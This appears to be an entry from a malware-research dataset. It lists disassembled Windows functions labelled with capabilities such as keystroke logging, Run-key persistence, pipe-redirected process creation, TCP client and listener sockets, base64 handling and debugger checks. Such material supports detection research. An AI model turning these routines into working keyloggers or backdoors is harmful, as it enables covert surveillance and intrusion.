joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46d18c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
mov byte [ebp - 2], 0
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
setl al
test al, al
jne 0x46d1b4
mov eax, ebx
sub al, 0x20
je 0x46d1ce
add al, 0xdf
sub al, 0x1a
jb 0x46d1ce
mov byte [0x51e380], 0
mov byte [0x51e37e], 0
mov byte [0x51e37f], 0
jmp 0x46d2ca
mov byte [ebp - 2], 1
xor eax, eax
xor edx, edx
mov dl, bl
cmp edx, 0x4a
jg 0x46d1f0
je 0x46d209
sub edx, 0x20
je 0x46d215
sub edx, 0x24
je 0x46d201
sub edx, 2
je 0x46d205
jmp 0x46d217
sub edx, 0x4b
je 0x46d20d
dec edx
je 0x46d211
sub edx, 7
jne 0x46d217
mov al, 4
jmp 0x46d217
mov al, 2
jmp 0x46d217
mov al, 1
jmp 0x46d217
mov al, 8
jmp 0x46d217
mov al, 0x10
jmp 0x46d217
mov al, 0x20
jmp 0x46d217
mov al, 0x40
not al
and byte [0x51e37d], al
cmp byte [0x51e37d], 0
jne 0x46d2ca
mov al, byte [0x49a070]
mov byte [ebp - 1], al
cmp byte [0x51e37c], 0x40
jb 0x46d27a
mov byte [0x51e37e], 0
mov byte [0x51e37f], 0
mov byte [0x51e380], 0
cmp byte [0x51e37c], 0x40
jne 0x46d261
mov byte [ebp - 1], 0x20
jmp 0x46d29a
mov al, byte [0x51e37c]
and al, 0x3f
and eax, 0xff
mov al, byte [eax + 0x49a028]
and al, 0x1f
mov byte [ebp - 1], al
jmp 0x46d29a
xor eax, eax
mov al, byte [0x51e37c]
mov al, byte [eax + 0x49a028]
mov byte [ebp - 1], al
cmp dword [0x51e378], 2
jne 0x46d29a
push ebp
call fcn.0046d0d8
pop ecx
mov al, byte [ebp - 1]
cmp al, byte [0x49a070]
je 0x46d2c3
cmp dword [0x499f8c], 0x3f
jg 0x46d2c3
mov al, byte [ebp - 1]
mov edx, dword [0x499f8c]
mov byte [edx + 0x51e334], al
inc dword [0x499f8c]
mov byte [0x51e37c], 0
mov al, byte [ebp - 2]
pop ebx
pop ecx
pop ebp
ret
Function at 0x46d2d4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ecx
mov byte [esp], al
mov byte [esp + 1], 1
cmp byte [0x499f44], 0
je 0x46d2f2
cmp byte [esp], 3
jne 0x46d2f2
call fcn.0046c184
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
setl bl
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
setl byte [esp + 2]
test bl, bl
je 0x46d3b1
cmp byte [esp + 2], 0
je 0x46d32f
cmp byte [esp], 0x7b
jne 0x46d32f
xor eax, eax
call fcn.0046cfd4
jmp 0x46d455
cmp byte [esp + 2], 0
je 0x46d34c
cmp byte [esp], 0x7a
jne 0x46d34c
mov eax, dword [0x51e378]
inc eax
call fcn.0046cfd4
jmp 0x46d455
mov al, byte [esp]
add al, 0xd0
sub al, 0xa
jb 0x46d35b
add al, 0xf9
sub al, 0x1a
jae 0x46d3b1
mov eax, dword [0x499f8c]
mov byte [eax + 0x51e334], 0
inc dword [0x499f8c]
mov al, byte [esp]
add al, 0xbf
sub al, 0x1a
jae 0x46d38f
xor eax, eax
mov al, byte [esp]
mov al, byte [eax + 0x49a033]
mov edx, dword [0x499f8c]
mov byte [edx + 0x51e334], al
jmp 0x46d3a6
xor eax, eax
mov al, byte [esp]
mov al, byte [eax + 0x49a060]
mov edx, dword [0x499f8c]
mov byte [edx + 0x51e334], al
inc dword [0x499f8c]
jmp 0x46d455
cmp byte [esp + 2], 0
jne 0x46d3d1
cmp dword [0x51e378], 0
je 0x46d3d1
mov al, byte [esp]
call fcn.0046d080
test al, al
jne 0x46d455
cmp dword [0x499f8c], 0x3e
jg 0x46d455
mov edx, 0x16
mov eax, 0x499fd0
mov ebx, eax
xor ecx, ecx
mov cl, byte [esp]
cmp cx, word [ebx]
jne 0x46d44f
mov eax, dword [0x499f8c]
mov byte [eax + 0x51e334], 0
inc dword [0x499f8c]
cmp byte [esp + 2], 0
je 0x46d419
mov eax, dword [0x499f8c]
mov dl, byte [ebx + 3]
mov byte [eax + 0x51e334], dl
jmp 0x46d447
cmp byte [ebx + 3], 0xff
jne 0x46d439
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x46d439
mov eax, dword [0x499f8c]
mov byte [eax + 0x51e334], 0xfe
jmp 0x46d447
mov eax, dword [0x499f8c]
mov dl, byte [ebx + 2]
mov byte [eax + 0x51e334], dl
inc dword [0x499f8c]
jmp 0x46d455
add eax, 4
dec edx
jne 0x46d3e4
mov al, byte [esp + 1]
pop edx
pop ebx
ret
Function at 0x46dd98
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46de88
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov edx, 0x46de9c
mov eax, 0x80000001
call fcn.004546b0
lea eax, [ebp - 4]
mov edx, 0x46def0
call fcn.0040515c
lea eax, [ebp - 0x10c]
mov ecx, 0x46df00
mov edx, dword [ebp - 4]
call fcn.004051a0
mov eax, dword [ebp - 0x10c]
call fcn.0040971c
test al, al
jne 0x46de53
push 0xff
lea eax, [ebp - 0x108]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 8]
lea eax, [ebp - 0x108]
call fcn.00409c4c
lea eax, [ebp - 0x110]
mov ecx, 0x46df00
mov edx, dword [ebp - 8]
call fcn.004051a0
mov eax, dword [ebp - 0x110]
call fcn.0040971c
test al, al
je 0x46de53
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00404f34
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404ef0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46de8f
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00404ec0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ec0
ret

Function at 0x46f3b0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
mov eax, dword [ebp - 8]
call fcn.0040533c
mov eax, dword [ebp - 0xc]
call fcn.0040533c
mov eax, dword [ebp + 0xc]
call fcn.0040533c
xor eax, eax
push ebp
push 0x46f456
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
call fcn.0040534c
push eax
push 0xff
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 0xc]
call fcn.0040534c
push eax
mov eax, dword [ebp - 8]
call fcn.0040534c
push eax
mov eax, dword [ebp - 4]
call fcn.0040534c
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x10c]
call fcn.00409c4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46f45d
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ec0
lea eax, [ebp + 0xc]
call fcn.00404e9c
ret
Function at 0x472574
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebx
push esi
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x47257c
mov eax, dword [esp + 0x10000]
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.00404e9c
push 0
push 0
lea eax, [esp + 8]
push eax
push 0xffff
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [esp], 0
jbe 0x4725de
push 0
lea eax, [esp + 4]
push eax
push 0xffff
lea eax, [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
mov eax, dword [esp]
mov byte [esp + eax + 4], 0
mov edx, esi
lea eax, [esp + 4]
call fcn.00409c4c
add esp, 0x10004
pop esi
pop ebx
ret

Function at 0x4725e8
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
xor eax, eax
push ebp
push 0x4726f2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404f34
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x51e548
push 0x51e544
call sub.kernel32.dll_CreatePipe
push 0
lea eax, [ebp - 0x14]
push eax
push 0x51e550
push 0x51e54c
call sub.kernel32.dll_CreatePipe
push 0
lea eax, [ebp - 0x14]
push eax
push 0x51e558
push 0x51e554
call sub.kernel32.dll_CreatePipe
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x44
call fcn.0040350c
mov dword [ebp - 0x58], 0x44
mov eax, dword [0x51e544]
mov dword [ebp - 0x20], eax
mov eax, dword [0x51e550]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x51e558]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], 0x101
mov word [ebp - 0x28], 0
push 0x51e55c
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x100010
push 0xffffffffffffffff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.0040534c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4726f9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ec0
ret
Function at 0x472a28
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov byte [esp], cl
mov esi, edx
mov ebx, eax
cmp bl, 0x90
jne 0x472a7b
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [esp + 2]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x472a67
and byte [esp + 0x92], 0xfe
jmp 0x472a6f
or byte [esp + 0x92], 1
lea eax, [esp + 2]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x472af2
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [esp + 1], al
test si, si
jbe 0x472af2
mov eax, ebx
and eax, 0xff
bt dword [0x49a148], eax
jae 0x472aca
mov ecx, 1
mov dl, byte [esp + 1]
mov eax, ebx
call fcn.004729ec
cmp byte [esp], 0
je 0x472aed
mov ecx, 3
mov dl, byte [esp + 1]
mov eax, ebx
call fcn.004729ec
jmp 0x472aed
xor ecx, ecx
mov dl, byte [esp + 1]
mov eax, ebx
call fcn.004729ec
cmp byte [esp], 0
je 0x472aed
mov ecx, 2
mov dl, byte [esp + 1]
mov eax, ebx
call fcn.004729ec
dec si
jne 0x472a92
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x472afc
Capabilities:
Log keystrokes

Disassembly:
push ebx
mov ebx, eax
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x49a148], edx
jae 0x472b2b
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.004729ec
pop ebx
ret
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.004729ec
pop ebx
ret

Function at 0x472bec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
add al, 0xe0
sub al, 0x60
jae 0x472c23
push ebx
call sub.user32.dll_VkKeyScanA
xor ecx, ecx
mov dx, 1
call fcn.00472a28
push 1
call sub.kernel32.dll_Sleep_1
push ebx
call sub.user32.dll_VkKeyScanA
call fcn.00472afc
push 1
call sub.kernel32.dll_Sleep_1
pop ebx
ret
mov edx, 1
mov eax, ebx
call fcn.00472d40
pop ebx
ret

Function at 0x472d40
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
mov eax, ebx
mov edx, eax
add dl, 0xe0
sub dl, 0x60
jae 0x472d69
push ebx
call sub.user32.dll_VkKeyScanA
mov cl, 1
mov dx, 1
call fcn.00472b3c
jmp 0x472ded
cmp al, 0x20
jae 0x472d7d
push 0
push esi
add al, 0x40
xor ecx, ecx
mov dl, 1
call fcn.00472e68
jmp 0x472ded
xor eax, eax
mov al, bl
sub eax, 0x80
add eax, eax
inc eax
mov edx, dword [0x49a168]
mov bl, byte [edx + eax - 1]
mov edx, dword [0x49a168]
mov al, byte [edx + eax]
mov byte [esp], al
cmp bl, 0x5f
je 0x472db5
push ebx
call sub.user32.dll_VkKeyScanA
mov cl, 1
mov dx, 1
call fcn.00472b3c
mov al, byte [esp]
push eax
call sub.user32.dll_VkKeyScanA
movsx eax, ax
test eax, eax
jl 0x472ddb
mov al, byte [esp]
push eax
call sub.user32.dll_VkKeyScanA
mov cl, 1
mov dx, 1
call fcn.00472b3c
jmp 0x472ded
push 0x20
call sub.user32.dll_VkKeyScanA
mov cl, 1
mov dx, 1
call fcn.00472b3c
test esi, esi
je 0x472df7
push esi
call sub.kernel32.dll_Sleep_1
pop edx
pop esi
pop ebx
ret
Function at 0x472f70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9e0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x620], ebx
mov dword [ebp - 0x61c], ebx
mov dword [ebp - 0x618], ebx
mov dword [ebp - 0x614], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
mov eax, dword [ebp - 8]
call fcn.0040533c
mov eax, dword [ebp - 0xc]
call fcn.0040533c
xor eax, eax
push ebp
push 0x473118
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x614]
mov eax, dword [ebp - 4]
call fcn.00409350
mov edx, dword [ebp - 0x614]
lea eax, [ebp - 4]
call fcn.00404f34
lea eax, [ebp - 0x618]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.004053ac
mov eax, dword [ebp - 0x618]
mov edx, 0x473134
call fcn.00405298
jne 0x473096
lea eax, [ebp - 0x61c]
push eax
mov ecx, 0x3e7
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.004053ac
mov edx, dword [ebp - 0x61c]
mov eax, 0x473134
call fcn.00405490
mov ebx, eax
inc ebx
test ebx, ebx
je 0x473096
lea eax, [ebp - 0x620]
push eax
lea esi, [ebx + 1]
mov edx, esi
mov ecx, 0x3e7
mov eax, dword [ebp - 4]
call fcn.004053ac
mov eax, dword [ebp - 0x620]
lea edx, [ebp - 0x10]
call fcn.00409350
mov edx, esi
lea eax, [ebp - 4]
mov ecx, 0x3e7
call fcn.004053ec
cmp dword [ebp - 0x10], 0
je 0x473096
push dword [ebp - 0x10]
push 0x473140
push dword [ebp - 0xc]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405214
lea eax, [ebp - 0x210]
mov edx, dword [ebp - 4]
call fcn.00409aec
lea eax, [ebp - 0x410]
mov edx, dword [ebp - 8]
call fcn.00409aec
lea eax, [ebp - 0x610]
mov edx, dword [ebp - 0xc]
call fcn.00409aec
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x610]
push eax
lea eax, [ebp - 0x210]
push eax
push 0x473144
mov eax, dword [0x49b178]
mov eax, dword [eax]
push eax
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47311f
lea eax, [ebp - 0x620]
mov edx, 4
call fcn.00404ec0
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404ec0
ret

Function at 0x473698
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
sete al
add esp, 0x190
ret

Function at 0x4736c0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
xor eax, eax
push ebp
push 0x473730
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x89]
mov edx, dword [ebp - 4]
call fcn.00409aec
lea eax, [ebp - 0x89]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x473705
xor ebx, ebx
jmp 0x47371a
lea edx, [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, 4
call fcn.00402ad8
mov ebx, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473737
lea eax, [ebp - 4]
call fcn.00404e9c
ret
Function at 0x473740
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
xor eax, eax
push ebp
push 0x473846
push dword fs:[eax]
mov dword fs:[eax], esp
or esi, 0xffffffff
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x473830
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov edx, 0x10
call fcn.0040350c
mov word [ebp - 0x1c], 2
push 0
call sub.wsock32.dll_htonl
mov dword [ebp - 0x18], eax
push 0
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.wsock32.dll_bind
inc eax
je 0x473830
mov eax, dword [ebp - 4]
call fcn.004736c0
mov dword [0x51e5a4], eax
cmp dword [0x51e5a4], 0
je 0x473830
lea eax, [ebp - 0x2c]
xor ecx, ecx
mov edx, 0x10
call fcn.0040350c
mov word [ebp - 0x2c], 2
lea edx, [ebp - 0x28]
mov eax, 0x51e5a4
mov ecx, 4
call fcn.00402ad8
mov ax, word [ebp - 6]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x2a], ax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push ebx
call sub.wsock32.dll_connect
inc eax
je 0x473830
mov dword [ebp - 0xc], 0x10
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.wsock32.dll_getsockname
mov eax, dword [ebp - 0x18]
mov dword [0x51e5a0], eax
mov esi, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47384d
lea eax, [ebp - 4]
call fcn.00404e9c
ret

Function at 0x4738cc
Capabilities:
Create tcp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov edi, eax
or esi, 0xffffffff
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x47394f
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x10
call fcn.0040350c
mov word [esp + 4], 2
push 0
call sub.wsock32.dll_htonl
mov dword [esp + 8], eax
push edi
call sub.wsock32.dll_htons
mov word [esp + 6], ax
push 0x10
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_bind
inc eax
je 0x47394f
push 3
push ebx
call sub.wsock32.dll_listen
inc eax
je 0x47394f
mov dword [esp], 0x10
push esp
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_getsockname
mov eax, dword [esp + 8]
mov dword [0x51e5a0], eax
mov esi, ebx
mov eax, esi
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x473980
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebx
push esi
add esp, 0xffffffdc
or esi, 0xffffffff
mov dword [esp], 0x10
push esp
lea edx, [esp + 0x18]
push edx
push eax
call sub.wsock32.dll_accept
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4739c9
mov eax, dword [esp + 0x18]
mov dword [0x51e5a4], eax
mov dword [esp], 0x10
push esp
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_getsockname
mov eax, dword [esp + 8]
mov dword [0x51e5a0], eax
mov esi, ebx
mov eax, esi
add esp, 0x24
pop esi
pop ebx
ret
Function at 0x4739d4
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
call fcn.004735c8
test al, al
je 0x4739ea
mov bl, 1
jmp 0x473a2e
xor eax, eax
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.0047330c
lea edx, [esp + 8]
mov eax, ebx
call fcn.004732fc
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
lea eax, [ebx + 1]
push eax
call sub.wsock32.dll_select
lea edx, [esp + 8]
mov eax, ebx
call fcn.004732e4
mov ebx, eax
call fcn.0046c880
mov eax, ebx
add esp, 0x10c
pop ebx
ret
Function at 0x477b6c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x477b9a
mov eax, ebx
call fcn.00478624
cmp dword [ebx + 0x3c], 0
je 0x477b93
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x477c0b
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x477bfd
cmp dword [ebx + 8], 0
je 0x477bbc
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x477bce
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x477bfd
cmp dword [ebx + 8], 0
je 0x477baf
cmp eax, 3
je 0x477be1
dec eax
jne 0x477baf
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x477baf
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x477baf
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x477c29
cmp dword [ebx + 0x10], 0xcc
je 0x477c29
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00477c34
pop ebx
ret
Function at 0x487ef8
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040533c
xor eax, eax
push ebp
push 0x4880c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, pe_nt_image_headers32
lea edx, [ebp - 0x114]
mov byte [edx], 0xff
inc edx
dec eax
jne 0x487f42
xor eax, eax
mov edx, 0x49aa68
xor ecx, ecx
mov cl, byte [edx]
mov byte [ebp + ecx - 0x114], al
inc eax
inc edx
cmp eax, 0x40
jne 0x487f50
mov byte [ebp - 0xd7], 0
lea eax, [ebp - 0x14]
call fcn.00404e9c
xor esi, esi
mov edi, 1
mov bl, 0x20
mov byte [ebp - 0xd], 0
jmp 0x488075
mov eax, dword [ebp - 4]
mov bl, byte [eax + edi - 1]
inc edi
cmp bl, 0x20
je 0x488075
cmp bl, 0x3d
je 0x488075
xor eax, eax
mov al, bl
movzx eax, byte [ebp + eax - 0x114]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xff
je 0x488075
mov eax, esi
sub eax, 1
jb 0x487fcd
je 0x487fdb
dec eax
je 0x48800f
dec eax
je 0x488043
jmp 0x488067
mov al, byte [ebp - 0xc]
shl eax, 2
mov byte [ebp - 0xd], al
jmp 0x488067
mov eax, dword [ebp - 0xc]
shr eax, 4
and al, 0xf
or byte [ebp - 0xd], al
lea eax, [ebp - 0x118]
mov dl, byte [ebp - 0xd]
call fcn.0040507c
mov edx, dword [ebp - 0x118]
lea eax, [ebp - 0x14]
call fcn.0040515c
mov al, byte [ebp - 0xc]
and al, 0xf
shl eax, 4
mov byte [ebp - 0xd], al
jmp 0x488067
mov eax, dword [ebp - 0xc]
shr eax, 2
and al, 0x3f
or byte [ebp - 0xd], al
lea eax, [ebp - 0x11c]
mov dl, byte [ebp - 0xd]
call fcn.0040507c
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 0x14]
call fcn.0040515c
mov al, byte [ebp - 0xc]
and al, 3
shl eax, 6
mov byte [ebp - 0xd], al
jmp 0x488067
mov al, byte [ebp - 0xc]
and al, 0x3f
or byte [ebp - 0xd], al
lea eax, [ebp - 0x120]
mov dl, byte [ebp - 0xd]
call fcn.0040507c
mov edx, dword [ebp - 0x120]
lea eax, [ebp - 0x14]
call fcn.0040515c
inc esi
and esi, 0x80000003
jns 0x488075
dec esi
or esi, 0xfffffffc
inc esi
mov eax, dword [ebp - 4]
call fcn.00405154
cmp edi, eax
jg 0x48808a
cmp bl, 0x3d
jne 0x487f83
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.00404ef0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4880ca
lea eax, [ebp - 0x120]
mov edx, 3
call fcn.00404ec0
lea eax, [ebp - 0x14]
call fcn.00404e9c
lea eax, [ebp - 4]
call fcn.00404e9c
ret
Function at 0x488474
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
push ebx
push esi
push edi
mov dword [ebp - 0x558], edx
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
call fcn.0040533c
mov eax, dword [ebp - 0x558]
call fcn.0040533c
xor eax, eax
push ebp
push 0x4886c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x559], 0
xor eax, eax
lea edx, [ebp - 0x65a]
mov byte [edx], 0xff
inc eax
inc edx
cmp eax, 0x100
jne 0x4884bf
xor eax, eax
mov edx, 0x49aa68
xor ecx, ecx
mov cl, byte [edx]
mov byte [ebp + ecx - 0x65a], al
inc eax
inc edx
cmp eax, 0x40
jne 0x4884d2
mov byte [ebp - 0x61d], 0
xor eax, eax
mov dword [ebp - 0x404], eax
mov edx, dword [ebp - 0x554]
lea eax, [ebp - 0x828]
call fcn.0040309c
lea eax, [ebp - 0x828]
call fcn.00402e20
call fcn.00402a8c
test eax, eax
jne 0x488687
mov edx, dword [ebp - 0x558]
lea eax, [ebp - 0x550]
call fcn.0040309c
mov edx, 1
lea eax, [ebp - 0x550]
call fcn.0040388c
call fcn.00402a8c
test eax, eax
jne 0x488687
xor esi, esi
mov bl, 0x20
xor eax, eax
mov dword [ebp - 0x404], eax
mov byte [ebp - 0x55a], 0
jmp 0x488658
lea eax, [ebp - 0x828]
call fcn.00403584
mov ebx, eax
call fcn.004028f8
cmp bl, 0xd
je 0x488658
cmp bl, 0xa
je 0x488658
cmp bl, 0x20
je 0x488658
cmp bl, 0x3d
je 0x488658
xor eax, eax
mov al, bl
movzx edi, byte [ebp + eax - 0x65a]
cmp edi, 0xff
je 0x488658
mov eax, esi
sub eax, 1
jb 0x4885c4
je 0x4885d1
dec eax
je 0x488602
dec eax
je 0x48862f
jmp 0x48864a
mov eax, edi
shl eax, 2
mov byte [ebp - 0x55a], al
jmp 0x48864a
mov eax, edi
shr eax, 4
and al, 0xf
or byte [ebp - 0x55a], al
push ebp
mov al, byte [ebp - 0x55a]
call fcn.004883b8
pop ecx
test al, al
je 0x488687
mov eax, edi
and al, 0xf
shl eax, 4
mov byte [ebp - 0x55a], al
jmp 0x48864a
mov eax, edi
shr eax, 2
and al, 0x3f
or byte [ebp - 0x55a], al
push ebp
mov al, byte [ebp - 0x55a]
call fcn.004883b8
pop ecx
test al, al
je 0x488687
mov eax, edi
and al, 3
shl eax, 6
mov byte [ebp - 0x55a], al
jmp 0x48864a
mov eax, edi
and al, 0x3f
or byte [ebp - 0x55a], al
push ebp
mov al, byte [ebp - 0x55a]
call fcn.004883b8
pop ecx
test al, al
je 0x488687
inc esi
and esi, 0x80000003
jns 0x488658
dec esi
or esi, 0xfffffffc
inc esi
lea eax, [ebp - 0x828]
call fcn.00403400
call fcn.004028f8
test al, al
jne 0x488675
cmp bl, 0x3d
jne 0x488562
push ebp
call fcn.00488424
pop ecx
test al, al
je 0x488687
mov byte [ebp - 0x559], 1
lea eax, [ebp - 0x828]
call fcn.00403240
call fcn.00402a8c
test eax, eax
lea eax, [ebp - 0x550]
call fcn.00403240
call fcn.00402a8c
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4886d0
lea eax, [ebp - 0x558]
mov edx, 2
